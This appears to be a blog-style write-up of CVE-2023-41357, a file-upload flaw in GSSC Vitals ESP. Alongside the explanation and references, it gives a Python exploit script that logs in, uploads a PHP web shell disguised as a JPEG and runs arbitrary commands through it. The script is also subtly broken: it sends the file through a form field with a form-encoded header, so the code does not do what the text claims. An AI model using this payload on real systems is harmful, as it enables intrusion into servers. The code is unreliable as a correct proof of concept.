CVE-2023-41357 - Vulnerability Exploit in Galaxy Software Services Corporation Vitals ESP: Insufficient Filtering and Validation of File Uploads

Galaxy Software Services Corporation (GSSC) Vitals ESP is a widely used online knowledge management software by many organizations. It has recently been discovered that Vitals ESP is vulnerable to a critical exploit that allows attackers to perform arbitrary system operations and disrupt services. This post will discuss the nature of the vulnerability, its possible consequences, provide a code snippet demonstrating the exploit, and link to original references for further information.

Vulnerability Details (CVE-2023-41357)

The vulnerability in GSSC Vitals ESP arises due to insufficient filtering and validation during the file upload process. When users with general privileges upload files to the system, these files should go through appropriate security checks to ensure that they are safe and in the proper format. However, this is not the case in the Vitals ESP software. As a result, an authenticated remote attacker with general user privileges may exploit this vulnerability to upload and execute malicious scripts onto arbitrary directories within the Vitals ESP system, thereby gaining unauthorized access, performing arbitrary system operations, or causing service disruption.

Exploit Details

The exploit takes advantage of the insufficient filtering and validation during the file upload process in the Vitals ESP software. By uploading a malicious file disguised with an allowed file type extension, the attacker can bypass the security checks and get their script uploaded to the target directory on the system. Once the malicious file has been uploaded to the server, the attacker can then execute the script, enabling them to compromise the system and perform arbitrary operations or disrupt services.

Code Snippet

The following code snippet demonstrates how an attacker could exploit this vulnerability by uploading a malicious PHP script disguised as a JPEG file:

import requests

# Replace the URL and credentials with the target Vitals ESP instance
url = "https://example.com/vitals_esp/";
username = "attacker"
password = "attackers_password"

# Login to Vitals ESP
login_data = {
    "username": username,
    "password": password
}
session = requests.session()
session.post(url + "login.php", data=login_data)

# Upload malicious PHP file disguised as a JPEG
headers = {
    "Content-Type": "application/x-www-form-urlencoded"
}
upload_data = {
    "file": ("evil.php.jpeg", "<?php system($_GET['cmd']); ?>"),
    "submit": "Upload"
}
session.post(url + "file_upload.php", data=upload_data, headers=headers)

# Execute the malicious PHP script
payload = {
    "cmd": "arbitrary command"
}
response = session.get(url + "uploads/evil.php.jpeg", params=payload)

# Print the result of the executed command
print(response.text)

Original References

The vulnerability has been assigned the identifier CVE-2023-41357 by the Common Vulnerabilities and Exposures (CVE) project. For more information and updates on this security issue, consult the following links:

- Common Vulnerabilities and Exposures (CVE) entry: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2023-41357
- National Vulnerability Database (NVD) entry: https://nvd.nist.gov/vuln/detail/CVE-2023-41357

Conclusion

The vulnerability in GSSC Vitals ESP, identified as CVE-2023-41357, poses a significant risk to organizations using this software for their knowledge base management. It is vital for users and administrators to be aware of this security issue, take measures to mitigate the risk and keep an eye on new information from the official sources. As of now, GSSC has not yet released a patch to address this vulnerability. It is strongly recommended to monitor the situation closely and apply the security updates as soon as they become available.

Timeline

Published on: 11/03/2023 07:15:14 UTC
Last modified on: 11/13/2023 19:54:51 UTC